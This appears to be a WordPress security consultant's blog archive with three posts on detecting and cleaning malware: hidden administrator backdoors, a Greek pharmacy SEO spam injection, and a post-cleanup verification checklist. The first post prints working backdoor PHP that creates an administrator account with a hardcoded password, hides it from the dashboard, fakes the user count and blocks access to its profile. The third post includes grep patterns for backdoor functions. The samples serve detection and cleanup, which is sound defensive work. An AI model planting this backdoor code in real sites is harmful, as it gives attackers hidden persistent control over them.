Author: MD Pabel

  • WordPress Hidden Admin User: How to Detect and Remove It Permanently (Real Code, Real Cleanup)

    WordPress Hidden Admin User: How to Detect and Remove It Permanently (Real Code, Real Cleanup)

    If you suspect a hidden admin user on your WordPress site — maybe your dashboard says “All Users (1)” but a security plugin counter shows “2”, maybe your malware keeps coming back after cleanup, or maybe new admin accounts you didn’t create keep appearing — you’re dealing with one of the most sophisticated WordPress backdoors in active circulation. The malware creates an invisible administrator account, hides it from your Users screen using WordPress’s own filter hooks, and recreates the account every time you delete it. The fix is to first find and remove the malicious code (typically in functions.php, mu-plugins/, or a fake plugin folder) — only then can you delete the rogue user safely. Skip step one and the user comes back within seconds.

    Quick Answer: Hidden admin user on WordPress — what to do

    • The smoking gun: if your “All Users” count doesn’t match what a security plugin (like 2FA, Wordfence, or activity log) shows, you almost certainly have a hidden admin
    • Why deleting the user doesn’t work: the malicious code recreates it on the next page load — you must remove the code first
    • Where the code hides: theme functions.php, wp-content/mu-plugins/, fake plugin folders with names like wp-compat, CacheFusion, CDNConnect
    • Common rogue usernames I see: adminbackup, adm1nlxg1n, support_user, sys_maint_service, help, codepapa
    • How to verify: check the database directly via phpMyAdmin — a hidden admin still exists in wp_users even when WordPress hides it from the dashboard

    The Moment You Realize Something’s Wrong

    There’s a specific moment that brings WordPress site owners into my inbox more than any other backdoor symptom: they’re looking at their Users page in the WordPress dashboard, and the numbers don’t add up.

    Maybe their “All Users” count says (1) — just them, the legitimate admin. But somewhere else on the same page, a third-party plugin counter shows something different. A 2FA plugin says 2 Inactive. An activity log shows recent logins from a username they don’t recognize. Wordfence reports more administrators than the dashboard shows.

    The math doesn’t work. And that math discrepancy is the single most reliable indicator of a hidden admin user backdoor — one of the most dangerous and persistent malware families currently affecting WordPress.

    WordPress user dashboard showing All Users count of 1 but 2FA Inactive count of 2 indicating a hidden admin user
    The classic smoking gun: “Alle (1)” but “2FA Inactive (2)” — the malware can lie to WordPress, but it forgot to lie to the third-party plugin.

    In the past 18 months, I’ve found this exact attack pattern on hundreds of WordPress sites — including high-traffic e-commerce stores, business sites, and membership platforms. The malware is sophisticated, the attack is persistent, and it’s the single most common reason “cleaned” WordPress sites get reinfected within days.

    This guide walks through exactly how the attack works, how to spot it, how to verify it, and most importantly — how to remove it without it coming straight back. Real code samples from real cleanups. No theory.

    If you’re confident your site is compromised and you need urgent help, my WordPress malware removal service handles exactly this attack class.


    Why Hidden Admin Users Are More Dangerous Than Visible Malware

    A visible malware file gets noticed and cleaned. A hidden administrator gets kept. That distinction is the entire point of the attack.

    When attackers maintain hidden admin access, they can:

    • Maintain persistence even after thorough file cleanup. You delete the visible malware. They log back in with their hidden account and reinfect the site within minutes.
    • Avoid triggering the original entry-point vulnerability again. The attacker doesn’t need to re-exploit a plugin or guess a password. They walk in through the front door using their stealth admin account.
    • Install plugins, edit theme files, create more users, plant more backdoors. An admin account has unlimited capability inside WordPress.
    • Stay invisible while you watch. The dashboard looks normal. The site loads correctly. Nothing visibly wrong — until the next infection.
    • Coordinate with other malware. Hidden admin users are usually one component in a larger compromise — typically paired with backdoor PHP files, modified core files, scheduled cron jobs, or database injections.

    This is why I treat any hidden admin discovery as a major incident, not a minor cleanup. Where there’s one stealth admin, there’s almost always more infection underneath.


    The Anatomy of the Attack: How the Malware Actually Works

    Modern hidden admin malware uses five interconnected techniques. Understanding each one is what lets you detect and remove it properly.

    1. The Malware Creates an Administrator Account

    This is the simplest part. The malicious code uses WordPress’s own legitimate user-creation function (wp_insert_user or wp_create_user) to create a new admin. From WordPress’s perspective, this is a normal API call — there’s nothing inherently malicious about it.

    Real malicious PHP code that creates the adminbackup hidden administrator user in WordPress functions.php
    Real malicious code from a recent cleanup — this single block creates the adminbackup administrator with a hardcoded password.

    Here’s actual code I’ve extracted from infected sites — this is the adminbackup variant that’s currently the most common:

    $params = array(
        'user_login' => 'adminbackup',
        'user_pass'  => 'o8Qcdaevd9',                    // Hardcoded password
        'role'       => 'administrator',
        'user_email' => 'adminbackup@wordpress.org'
    );
    
    if (!username_exists($params['user_login'])) {
        $id = wp_insert_user($params);
        update_option('_pre_user_id', $id);              // Save the ID for later hiding
    }

    The pattern is universal across variants:

    • Check if the rogue user already exists
    • If not, create it with administrator role and a hardcoded password
    • Save the new user’s ID in wp_options (typically as _pre_user_id) so the malware can reference it later

    The username changes between variants. The most common ones I see:

    • adminbackup (extremely common in 2025–2026)
    • adm1nlxg1n — note the “1” instead of “i” and “g1n” instead of “gin”
    • support_user
    • sys_maint_service
    • help
    • codepapa
    • fallback_admin
    • wp_updater

    2. The Malware Hides the User From Your Dashboard

    This is the clever part — the part that makes the attack so hard to detect by visual inspection. The malware hooks into WordPress’s pre_user_query filter and modifies the database query before the dashboard runs it:

    add_action('pre_user_query', function($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');                // The ID of the malicious user
    
        global $wpdb;
        // Inject SQL to exclude the malicious ID from results
        $user_search->query_where = str_replace(
            'WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    });

    In plain English: the code tells the database “show me all users except the one with this specific ID.” The rogue admin still exists in wp_users. The dashboard just refuses to display the row.

    That’s why the user appears invisible — and why you can’t find them through any normal WordPress interface, no matter how carefully you look.

    3. The Malware Fakes the User Count

    If the dashboard hid the rogue user but the count at the top still said “All (2)” instead of “All (1)”, the trick would be obvious. So the malware also modifies the count display:

    function fake_user_count($views) {
        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;                                     // Subtract 1 from the displayed count
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];
        return $views;
    }
    add_filter('views_users', 'fake_user_count');

    The count gets mathematically reduced by 1 across the standard WordPress views (All, Administrator, etc.) so the math looks consistent. This is also where the malware makes its critical mistake — and how you can catch it.

    4. The Mistake: Third-Party Plugin Counts

    The attacker hardcodes the count-faking logic for WordPress’s built-in views — “All”, “Administrator”, “Editor”, etc. They don’t account for views added by third-party plugins.

    So when a 2FA plugin adds its own “2FA Active” and “2FA Inactive” filter, the malware doesn’t know to subtract 1 from those counts. The result:

    • “All Users (1)” — faked count, hides the rogue admin ✓
    • “Administrator (1)” — faked count, hides the rogue admin ✓
    • “2FA Inactive (2)” — real count, exposes the rogue admin ✗

    This is why a 2FA plugin, an activity log plugin, or a security scanner often catches what WordPress’s own dashboard hides. If your numbers don’t match across different plugin counters, investigate immediately.

    5. The Malware Protects Itself From Cleanup

    The fifth technique is what makes deletion attempts fail. The malware also blocks direct access to the rogue user’s profile:

    if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) {
        wp_die(__('Invalid user ID.'));
    }

    If a savvy admin guesses the ID and tries to navigate directly to the user’s profile (e.g., user-edit.php?user_id=123), they get an “Invalid user ID” error. The malware also blocks deletion attempts and resets the password if it gets changed.

    And the kicker: even if you somehow do delete the user, the creation logic from step 1 runs again on the next page load and recreates the account immediately.


    Where the Malicious Code Hides

    In real client cleanups, I find this code in five recurring locations. Knowing where to look is half the battle.

    1. Theme functions.php

    The most common location. functions.php runs on every page load, which gives the malware unlimited opportunities to recreate the user. Attackers append the malicious code to the end of the file or scatter it among legitimate theme code.

    How to check: Open wp-content/themes/your-active-theme/functions.php via FTP or File Manager. Look for any code referencing wp_insert_user, wp_create_user, pre_user_query, views_users, or hardcoded usernames like the ones listed above.

    2. wp-content/mu-plugins/

    The “must-use” plugins folder. Files here are loaded automatically by WordPress before regular plugins, and they don’t appear in the standard Plugins list — making this folder a favorite hiding spot.

    A clean WordPress installation does not have files in mu-plugins/ unless you or a developer deliberately put them there. Anything in this folder that you don’t recognize is suspicious by default.

    3. Fake Plugin Folders

    Attackers create fake plugin folders with names that sound technical and important. Recent examples I’ve found in real cleanups:

    WordPress plugins folder showing fake malicious plugins named CacheFusion and CDNConnect alongside legitimate plugins
    Fake plugin folders CacheFusion and CDNConnect — sitting alongside legitimate plugins, designed to look like infrastructure.
    • wp-compat (“WP Compatibility Patch”)
    • CacheFusion
    • CDNConnect
    • OperationGraph
    • DebugMaster
    • WP System Health Check
    • NexusGrid Performance Loader
    • Advanced Server Response Handler

    These plugin names sound like infrastructure components site owners are afraid to delete. That fear is exactly what the attacker is exploiting. None of these are real plugins.

    How to check: Open wp-content/plugins/ via FTP and review every folder. If a folder looks unfamiliar, hasn’t been updated through the WordPress admin, or has a recent “Last Modified” date when other plugins haven’t changed, treat it as suspicious. You’ll often see this in your plugin list as a plugin you don’t remember installing — but advanced variants also hide themselves from the plugin list using the all_plugins filter, so don’t trust the dashboard alone.

    4. Disguised Core Files

    Some attackers plant the backdoor as a fake WordPress core file. Names I’ve found in cleanups:

    • wp-user.php at the site root (real WordPress doesn’t have this file)
    • wp-l0gin.php — zero instead of “o”
    • wp-the1me.php — “1” instead of “i”
    • wp-scr1pts.php
    • lock360.php

    How to check: Compare your WordPress core directory to a fresh download from WordPress.org. Anything in the root, wp-admin/, or wp-includes/ that doesn’t exist in the official version is suspicious.

    5. Database-Injected Code

    The most sophisticated variants store the malicious code as serialized PHP inside the WordPress database (typically in wp_options) and use a small loader file to retrieve and execute it on each request. This makes file-level cleanup particularly hard because removing the loader doesn’t remove the payload, and removing the payload from the database doesn’t help if the loader keeps regenerating it.

    For a deeper look at database-side malware, see how to scan and clean your WordPress database for hidden malware.


    How to Detect Hidden Admin Users (4 Methods, Most Reliable First)

    Don’t trust the WordPress dashboard alone if you suspect this attack. Use multiple detection methods.

    Method 1: Check the Database Directly (Most Reliable)

    This is the gold standard. Open phpMyAdmin (in your hosting control panel) or another database client, navigate to your WordPress database, and inspect the wp_users table directly:

    SELECT ID, user_login, user_email, user_registered
    FROM wp_users
    ORDER BY user_registered DESC;

    The query returns every user that exists in the database, regardless of any WordPress filters. Compare the list against what your dashboard shows. Any account you see in the database but not in the dashboard is a hidden user — almost certainly malicious.

    Pay special attention to:

    • Usernames you don’t recognize
    • Email addresses on suspicious domains (@wordpress.org is a classic — WordPress.org doesn’t actually email users from this domain)
    • Recently registered admin accounts that shouldn’t exist
    • Accounts with no associated wp_usermeta activity (no posts, no logins recorded by activity plugins)

    After spotting a suspicious user, check their role in wp_usermeta:

    SELECT * FROM wp_usermeta
    WHERE user_id = [SUSPICIOUS_USER_ID]
    AND meta_key = 'wp_capabilities';

    If the result shows administrator, you’ve confirmed a hidden admin.

    Method 2: Check the User Count Discrepancy

    This is the fastest way to spot the attack without leaving the WordPress dashboard. Look at multiple counters on your Users page:

    • The “All Users” count at the top
    • The “Administrator” count
    • Any third-party plugin counters (2FA plugins, activity log plugins, security scanners)

    If any of those numbers don’t match, you have a hidden user. Trust the third-party plugin counts — they’re harder for the malware to fake.

    WordPress user list showing previously hidden adminbackup user revealed after removing malicious code from functions.php
    After removing the malicious code from functions.php, the previously invisible adminbackup user becomes visible in the dashboard.

    Method 3: Use WP-CLI

    If you have SSH access, WP-CLI commands give you a different view of the user list:

    wp user list --role=administrator

    Sometimes WP-CLI shows users that the WordPress dashboard hides, because the malware’s filters specifically target the wp-admin display layer. But this isn’t guaranteed — sophisticated malware can sometimes interfere with WP-CLI too. Use it as a diagnostic tool, but treat the database as your source of truth.

    Method 4: Check Activity Logs and Login Records

    If you have an activity log plugin installed (Simple History, WP Activity Log, etc.), review:

    • Recent user creation events
    • Recent admin logins from unfamiliar IPs
    • Recent role changes

    Some activity log plugins record the creation event even if the user is later hidden — giving you a paper trail of when the attack happened and what username was created.


    How to Remove a Hidden Admin User Safely (The Order Matters)

    This is where most DIY cleanups fail. Do not delete the user first. If you delete the user before removing the malicious code, the code recreates them within seconds.

    Step 1: Find and Remove the Malicious Code

    Before touching the database or the user list, locate every file that contains the malicious code:

    1. Open functions.php in your active theme — this is the most common location. Look for the patterns described above (hardcoded usernames, pre_user_query filters, views_users filters, wp_insert_user calls).
    2. Check wp-content/mu-plugins/ — delete any file you don’t recognize.
    3. Audit wp-content/plugins/ for fake plugin folders with the names listed above (or anything with a recent modification date when other plugins haven’t changed).
    4. Compare core files against a fresh WordPress download to find disguised core files.
    5. Search the database for serialized backdoor payloads in wp_options.

    Remove every malicious file or code block. Don’t move on until you’re confident you’ve found them all — leftover code will recreate the user.

    For the broader detection workflow, see how to detect WordPress malware, and for backdoor patterns specifically, the wp-compat plugin backdoor analysis covers a closely related variant.

    Step 2: Confirm the User Is Now Visible

    Refresh your WordPress Users page. If the malicious code was the only mechanism hiding the user, they should now appear in the list. If they don’t appear, you missed code somewhere — go back to Step 1.

    Step 3: Delete the User

    Once the user is visible and the malicious code is gone, delete the account:

    1. Hover over the rogue user in the WordPress Users list
    2. Click “Delete”
    3. If prompted, attribute their content to another user (the rogue admin shouldn’t have any content, but WordPress asks anyway)
    4. Confirm the deletion

    If the dashboard delete doesn’t work, you can delete directly from the database:

    DELETE FROM wp_users WHERE ID = [ROGUE_USER_ID];
    DELETE FROM wp_usermeta WHERE user_id = [ROGUE_USER_ID];

    Step 4: Rotate Credentials and Salts

    The attacker had administrator access, which means they could read your wp-config.php, your database credentials, and any cached session data. Treat everything as compromised:

    1. Change every WordPress admin password (force password reset for all users)
    2. Change your hosting cPanel password
    3. Change FTP/SFTP credentials
    4. Change your database user password (and update wp-config.php to match)
    5. Generate fresh WordPress security keys (salts) at api.wordpress.org/secret-key/1.1/salt/ and replace the corresponding lines in wp-config.php — this invalidates every active session, including any the attacker still has

    Step 5: Patch the Original Entry Point

    The attacker got in through something. If you don’t fix that, this entire process repeats next month. Common entry points:

    • An outdated plugin with a known vulnerability — update everything
    • A nulled or pirated plugin/theme that shipped with a backdoor — remove it (see why nulled plugins are a security disaster)
    • A stolen or weak admin password — strong unique passwords plus 2FA
    • An XSS or SQL injection vulnerability in custom code — audit and fix
    • An exposed admin login page — limit login attempts and enable 2FA

    For a complete post-cleanup checklist, see what to do after fixing a hacked WordPress site.


    Why Hidden Admin Users Keep Coming Back After Cleanup

    I get this question constantly: “I deleted the user, the code, everything I could find — and it’s back two days later.” When this happens, one of these is true:

    • You missed code somewhere. Even one surviving copy of the malicious code recreates the user. Check functions.php, mu-plugins/, every plugin folder, theme files, and disguised core files.
    • There’s a backdoor PHP file you haven’t found. A separate file (often in wp-content/uploads/, named to look innocuous) that recreates the malicious code in functions.php when triggered.
    • A scheduled cron job is running the regeneration. WordPress cron, server cron, or both. Check wp_options for the cron entry and your hosting cPanel for unfamiliar scheduled tasks.
    • The attacker still has a separate admin account. Some attacks plant multiple stealth admins so removing one leaves another. Audit every admin in the database, not just the suspicious one you noticed first.
    • The original vulnerability is still open. The attacker simply re-exploits it and recreates the entire infection.

    For the full reinfection diagnostic process, see why WordPress malware keeps coming back and how to stop it forever.


    How This Attack Connects to Bigger Compromises

    In my experience, hidden admin users almost never operate alone. They’re typically one component of a larger compromise that also includes:

    When you find a hidden admin, treat it as evidence of a broader compromise — not as the whole problem. The cleanup needs to address every layer.


    FAQ

    How do I know if my WordPress site has a hidden admin user?

    The fastest signal is a user count discrepancy. If your “All Users” count says 1 but a 2FA plugin, activity log, or security scanner shows 2, you almost certainly have a hidden admin. Other warning signs include malware that keeps coming back after cleanup, unfamiliar admin login emails, sudden site behavior changes, and password resets you didn’t request. The most reliable confirmation is checking wp_users directly via phpMyAdmin.

    Can WordPress malware really hide a user from my dashboard?

    Yes — and it’s surprisingly straightforward technically. WordPress provides a filter called pre_user_query that lets any plugin (or any malicious code injected into a theme) modify the SQL query used to display users. Malware abuses this by adding AND ID != [hidden_id] to the query, excluding the rogue user from the dashboard while leaving them fully active in the database.

    I deleted the hidden admin and it came back. Why?

    Because the malicious code that creates the user is still on your server. Most variants check on every page load whether the rogue user exists, and recreate it if it doesn’t. You have to remove the malicious code first (typically in functions.php, mu-plugins/, or a fake plugin folder), then delete the user. Doing them in the wrong order doesn’t work.

    What’s the typical username for a hidden admin user?

    The most common ones I see in 2025–2026 cleanups are adminbackup, adm1nlxg1n, support_user, sys_maint_service, help, fallback_admin, and codepapa. Variants change frequently, but the pattern is consistent: usernames designed to look administrative or technical, often with subtle character substitutions (zero for “o”, “1” for “i”).

    Can security plugins like Wordfence or Sucuri detect this?

    Sometimes. Better security plugins detect the malicious code patterns (wp_insert_user with hardcoded credentials, pre_user_query filters that exclude specific IDs). But sophisticated variants use obfuscation, base64 encoding, or split the malicious functions across multiple files specifically to evade pattern-matching scanners. The user count discrepancy method I described above is more reliable than any single scanner.

    Where does the malicious code that creates hidden admins usually hide?

    In order of frequency: theme functions.php, wp-content/mu-plugins/, fake plugin folders with names like wp-compat, CacheFusion, or CDNConnect, disguised core files with names like wp-user.php or wp-l0gin.php (zero instead of “o”), and serialized payloads in the wp_options database table.

    Should I just reinstall WordPress to get rid of this?

    Reinstalling WordPress core helps but isn’t sufficient on its own. The malicious code is usually in the theme or a fake plugin, not in core files — so a core reinstall doesn’t touch it. The user accounts are in the database, which a core reinstall doesn’t replace either. A complete cleanup requires: (1) removing the malicious code from wherever it actually lives, (2) deleting the rogue user from the database, (3) reinstalling core/themes/plugins from clean sources, and (4) closing the original entry point.

    How long has this attack been around?

    The basic pattern (creating a hidden admin via functions.php code) has been documented since at least 2020. The adminbackup variant specifically has been spreading widely since 2024–2025, with Sucuri publishing a major analysis in mid-2025. The attack has evolved over time — adding self-protection logic, count-faking, plugin-list hiding, and database persistence — but the core technique remains the same.

    Can I prevent this attack from happening?

    Yes. The hardening that actually works: keep WordPress core, plugins, and themes updated; throw away nulled or pirated software; use strong unique passwords with two-factor authentication; disable file editing in wp-config (define('DISALLOW_FILE_EDIT', true);); install a Web Application Firewall; and set up file integrity monitoring that alerts on changes to functions.php. Most hidden admin infections trace back to a vulnerable plugin or a stolen password — close those gaps and the attack class becomes much harder.


    Related Reading


    Need Help With a Hidden Admin User on Your WordPress Site?

    Hidden admin users are one of the highest-stakes findings in a WordPress security review. They mean an attacker has persistent administrator access — the kind that bypasses every cleanup attempt that doesn’t address the underlying code. In the past 18 months, I’ve found this exact attack pattern on hundreds of WordPress sites, ranging from small business blogs to high-traffic e-commerce stores.

    If your dashboard counts don’t match, your malware keeps coming back after cleanup, or you’ve found suspicious accounts like adminbackup in your database, this is exactly the kind of incident I clean every week. I’ve recovered more than 4,500 hacked WordPress sites since 2018.

    Get Expert WordPress Malware Removal — or contact me directly via the hire me page.

  • Hacked? Weird Greek Text & Code Hidden in Your WordPress Database

    Hacked? Weird Greek Text & Code Hidden in Your WordPress Database

    Did you recently check your WordPress database or source code and find strange, unreadable blocks of code? Perhaps you noticed your website ranking for keywords related to “Greek Pharmacy” or “andrikofarmakeio”?

    If you found a script containing the ID M6bMm64IekltUmnGh3vrm9 or a function called oeYR5CtKOu7Yvb, your site has been compromised by a specific strain of SEO Spam Malware.

    You are likely asking: What is this? Why is it there? And how do I get it out?

    First: Verify This Is Your Infection

    Clients often find us after seeing this specific block of code inside their wp_posts table (often appearing right after legitimate text):

    <div id="M6bMm64IekltUmnGh3vrm9"><p><a href="https://andrikofarmakeio.com/">κοιτάξτε εδώ</a></p></div>

    It is usually followed by a script that looks like this:

    script type="text/javascript">function oeYR5CtKOu7Yvb(){var mbO=document.getElementsByTagName...

    If this matches what you see, stop editing immediately and read below.

    WordPress database under a magnifying glass revealing the malicious script code 'oeYR5CtKOu7Yvb' and ID 'M6bMm64IekltUmnGh3vrm9', representing the Greek Pharma SEO spam injection hack.

    What Is This Doing to My Business?

    This is known as the “Greek Pharma Hack.”

    Hackers haven’t just “broken” your site; they are parasitic. They are using your website’s good reputation to sell illicit products for a third party.

    1. They are stealing your Google Authority: The code creates a “hidden link” to a Greek pharmacy website. The code uses a trick (top:-152413851px) to push the link 152 million pixels off-screen. You can’t see it, but Google can.

    2. You face a Google Ban: Google’s bots are smart. They know this link is hidden (a technique called “Cloaking”). When they detect it, they will flag your site as “Deceptive.” Your legitimate pages will be de-indexed, and your traffic will crash.

    3. It spreads automatically: This isn’t just in one post. This malware usually injects itself into hundreds or thousands of your database rows simultaneously.

    Why You Can’t Just “Delete” It

    If you are a business owner attempting to fix this yourself via phpMyAdmin, be very careful.

    The malware inserts itself into the middle of your actual content (your blog posts, page text, and product descriptions).

    • The Risk: If you run a generic “Delete” command, you risk corrupting the formatting of your entire website, breaking images, and losing your original text.

    • The Re-infection: Deleting the code handles the symptom, not the cause. The hacker likely entered through a vulnerability in an outdated plugin or a weak password. If you delete the code without closing the door, they will simply re-infect you (often within hours).

    How We Clean This For You

    We specialize in removing SEO Spam Injections like the andrikofarmakeio variant.

    Instead of risking your data, we perform a forensic cleanup:

    1. Database Scrubbing: We use precise Regular Expressions (Regex) to surgically remove only the malicious ID M6bMm64IekltUmnGh3vrm9 and its associated script, leaving your legitimate content 100% intact.

    2. Backdoor Removal: We hunt down the “shell” or rogue file the hackers are using to access your server.

    3. Google Restoration: Once clean, we help you submit a “Reconsideration Request” to Google to get your rankings back on track.

    Don’t let hackers siphon off your traffic.

    If you see this code, contact us immediately for a specialized cleanup.

    [ > Get My Site Cleaned Now ]

  • What to Do After Fixing a Hacked WordPress Site: The 72-Hour Verification Protocol (From 4,500+ Real Cleanups)

    What to Do After Fixing a Hacked WordPress Site: The 72-Hour Verification Protocol (From 4,500+ Real Cleanups)

    Quick answer: The first 72 hours after a WordPress malware cleanup are when most reinfections happen — not because hackers are persistent, but because cleanups miss things. This is a forensic verification protocol (not another cleanup checklist) built from over 4,500 real cleanups. You’ll run file-integrity checks, database scans, log audits, and credential rotations on a strict timeline so you can prove the site is clean — not just hope it is.

    Most “after a hack” guides on the internet are recycled checklists: change passwords, update plugins, install Wordfence, done.

    That is not what saves a site after a real-world hack.

    After cleaning over 4,500 hacked WordPress sites on Upwork, Fiverr, and direct client work, I can tell you that cleanup is the easy part. Verification is what separates a permanent fix from a 48-hour relapse. The reason sites get re-hacked isn’t because hackers came back — it’s because the cleanup left a door open and the site owner stopped watching too soon.

    This is the exact 72-hour protocol I run after every cleanup. Timeline-based. Command-driven. Built specifically to catch the things “remove malware and harden the site” advice never finds.


    The 72-Hour Reinfection Window: Why Timing Matters

    From the cleanups I have personally worked on, when a site gets reinfected, it almost always happens within the first three days after cleanup. Once you make it past the 72-hour mark with active monitoring in place, the chance of immediate reinfection drops dramatically.

    Here is roughly how reinfection causes break down across the cases I have cleaned:

    • Missed scheduled tasks (cron jobs) that re-download malware on a timer
    • Hidden admin users sitting in the wp_users database table that no one checked
    • Backdoors hiding in non-obvious locations like mu-plugins/, wp-content/uploads/, or as fake plugin folders
    • Cached malware served by Cloudflare, Varnish, or a CDN even after the files are clean
    • Compromised hosting/FTP/database credentials the cleaner never rotated

    None of those are caught by “the malware was removed” scans. They need verification, which is fundamentally different from cleanup. I cover the persistence mechanisms in detail in Why WordPress Malware Keeps Coming Back — this guide focuses on what to do once the cleanup is technically done, hour by hour.


    The Mindset Shift: “Cleaned” vs “Verified”

    A “cleaned” site means visible malware was removed. A verified site means you have proven, with evidence, that:

    • No backdoors are running silently
    • No hidden users have admin access
    • No scheduled tasks are armed to redownload malware
    • No cached version of the infection is still being served
    • No credentials the attacker had access to are still active

    Most automated scanners only confirm the first point. The other four require manual forensic checks. That is what the next 72 hours are for.


    Hour 0–1: The Lockdown (Force Everyone Out)

    Before anything else, you have to assume every credential, cookie, and session associated with this site is compromised. Even if you changed the WordPress password, an attacker may still hold a valid login cookie.

    Step 1: Rotate WordPress Salts (Kicks Out All Sessions)

    Salts are the cryptographic keys WordPress uses to sign authentication cookies. Change the salts, and every existing logged-in session — including the attacker’s — becomes invalid instantly.

    Generate a fresh salt block from the official WordPress salt generator, then paste it into wp-config.php, replacing the existing block:

    define('AUTH_KEY',         'paste-fresh-key-here');
    define('SECURE_AUTH_KEY',  'paste-fresh-key-here');
    define('LOGGED_IN_KEY',    'paste-fresh-key-here');
    define('NONCE_KEY',        'paste-fresh-key-here');
    define('AUTH_SALT',        'paste-fresh-key-here');
    define('SECURE_AUTH_SALT', 'paste-fresh-key-here');
    define('LOGGED_IN_SALT',   'paste-fresh-key-here');
    define('NONCE_SALT',       'paste-fresh-key-here');

    Save the file. Every active user session is now dead.

    Step 2: Rotate the 5 Credentials That Matter

    In order of severity:

    1. Hosting control panel password (cPanel / Plesk / hosting login)
    2. Database password — change it in cPanel, then update wp-config.php with the new value
    3. SFTP / FTP user passwords for every account on the hosting plan
    4. WordPress admin passwords for every admin-level user
    5. Email account passwords tied to admin emails (often the original entry point)

    If you skip the email account, the attacker can request a password reset and walk back in.

    Step 3: Audit the User Table Directly

    The WordPress dashboard does not always show every user account. Sophisticated malware hides admin users from the UI. The only reliable check is querying the database directly.

    Open phpMyAdmin and run:

    SELECT ID, user_login, user_email, user_registered
    FROM wp_users
    ORDER BY user_registered DESC;

    Then verify the role of each user:

    SELECT u.user_login, m.meta_value
    FROM wp_users u
    JOIN wp_usermeta m ON u.ID = m.user_id
    WHERE m.meta_key = 'wp_capabilities';

    Anything you do not recognize — especially anything with administrator in the meta value — gets deleted from both wp_users and wp_usermeta. I have documented exactly how attackers conceal admin accounts in Find and Remove Hidden Admin Users in WordPress.


    Hour 1–6: File Integrity Forensics

    The lockdown is done. Now you verify that no rogue files, modified core files, or backdoor scripts are sitting in the file system.

    Step 4: Run a WordPress Core Checksum Verification

    WordPress publishes MD5 checksums for every official core file. WP-CLI compares your installed files against those checksums and flags any mismatch:

    wp core verify-checksums

    Any file flagged here has been modified from its official version. There is no legitimate reason for a core file to be modified. If wp-includes/load.php or wp-admin/includes/file.php shows up — replace it from a fresh WordPress download immediately.

    Verify plugins the same way:

    wp plugin verify-checksums --all

    Step 5: Hunt Recently Modified Files

    If you do not have shell access, skip to Step 6. If you do, this single command finds every file modified in the last 7 days under your WordPress root:

    find /home/user/public_html -type f -mtime -7 -ls | grep -v "wp-content/cache"

    Compare that list against your own activity. If you did not update plugins or change content, every modified file is suspicious. Pay special attention to:

    • wp-config.php
    • index.php in any directory (especially wp-content/, wp-content/plugins/, wp-content/themes/)
    • Any .php file inside wp-content/uploads/ — there is no legitimate reason for PHP to live in uploads
    • .htaccess in any directory

    Step 6: Grep for Backdoor Signatures

    Backdoors usually rely on a small set of PHP functions to execute remote code. This command lists every file containing one of those functions:

    grep -rPl --include="*.php" "(eval|base64_decode|gzinflate|str_rot13|assert)\s*\(" /home/user/public_html/wp-content/

    Some legitimate plugins use these functions, so expect false positives. Review the matches — anything in uploads/, anything with a randomly named file (e.g. x_8h7d.php), or any single-line PHP file is almost always malicious.

    Step 7: Check the mu-plugins Folder

    Must-Use plugins (wp-content/mu-plugins/) load on every page request and do not appear in the standard plugins list. Attackers love this folder. If you did not intentionally put files in there, the entire folder should be empty or non-existent.

    ls -la /home/user/public_html/wp-content/mu-plugins/

    If you see any file you did not put there, delete it. Here is a real example of a backdoor plugin I found in a client’s site — the same patterns apply to mu-plugins.


    Hour 6–24: Database & Traffic Verification

    Step 8: Scan the Database for Injected Code

    Files can be clean while the database is still infected. Run these searches in phpMyAdmin against your wp_posts and wp_options tables:

    -- Look for injected scripts in posts
    SELECT ID, post_title
    FROM wp_posts
    WHERE post_content LIKE '%<script%'
       OR post_content LIKE '%eval(%'
       OR post_content LIKE '%base64_decode%';
    
    -- Look for malicious autoloaded options (a common persistence trick)
    SELECT option_name, LENGTH(option_value) AS size
    FROM wp_options
    WHERE autoload = 'yes'
    ORDER BY size DESC
    LIMIT 30;

    The second query is the one most cleanup guides skip entirely. Attackers store payloads inside autoloaded option rows so they execute on every page load. Anything with a suspicious name (random characters, names like widget_cache_v2) and an unusually large value is worth investigating.

    Step 9: Verify Site Behavior with curl (Not a Browser)

    Browsers cache aggressively and may show you a clean version while real visitors still get the malicious one. Use curl to see the raw response your server actually sends:

    # What desktop visitors see
    curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" -L https://yoursite.com/
    
    # What mobile visitors see (mobile-only redirects are common)
    curl -A "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X)" -L https://yoursite.com/
    
    # What Googlebot sees (cloaking attacks specifically target this)
    curl -A "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" -L https://yoursite.com/

    Compare the three responses. If the Googlebot response contains spam keywords, links, or a redirect that the desktop response does not — you have a cloaking infection that survived the cleanup. This is exactly how Japanese keyword hacks evade detection; my full breakdown is in The Japanese Keyword Hack: Detection, Removal, and Prevention.

    Step 10: Purge Every Layer of Cache

    “My site shows the warning even though I cleaned it” is almost always a cache problem. The order matters:

    1. WordPress cache plugin (WP Rocket / W3 Total Cache / LiteSpeed) — purge all
    2. Server-level cache (NGINX FastCGI, Varnish, LiteSpeed) — flush from the hosting panel
    3. Object cache (Redis, Memcached) — restart or flush
    4. CDN cache (Cloudflare → Caching → Configuration → Purge Everything)
    5. Browser cache — test in incognito and on a device that has never visited the site

    Day 1–3: SEO Damage Audit

    This is the part most cleanup guides skip entirely, and it is the part that costs site owners the most money long-term. Even if your files are clean, Google may still have thousands of spam URLs from the hack indexed under your domain.

    Step 11: Check Google Search Console for Manual Actions

    Log in to Google Search Console and check:

    • Security Issues tab — if there is a banner, you are still flagged. Don’t request review yet; do the rest of this audit first.
    • Manual Actions tab — separate from Security Issues; covers spam penalties.
    • Pages → Indexing report — sort by date. A spike in indexed URLs means hacker-created spam pages are still in Google’s index.

    Step 12: Find and De-Index Spam URLs

    Run this Google query to see what spam URLs are indexed under your domain:

    site:yoursite.com

    Then narrow down with common spam patterns:

    site:yoursite.com viagra
    site:yoursite.com 通販
    site:yoursite.com casino
    site:yoursite.com matbet

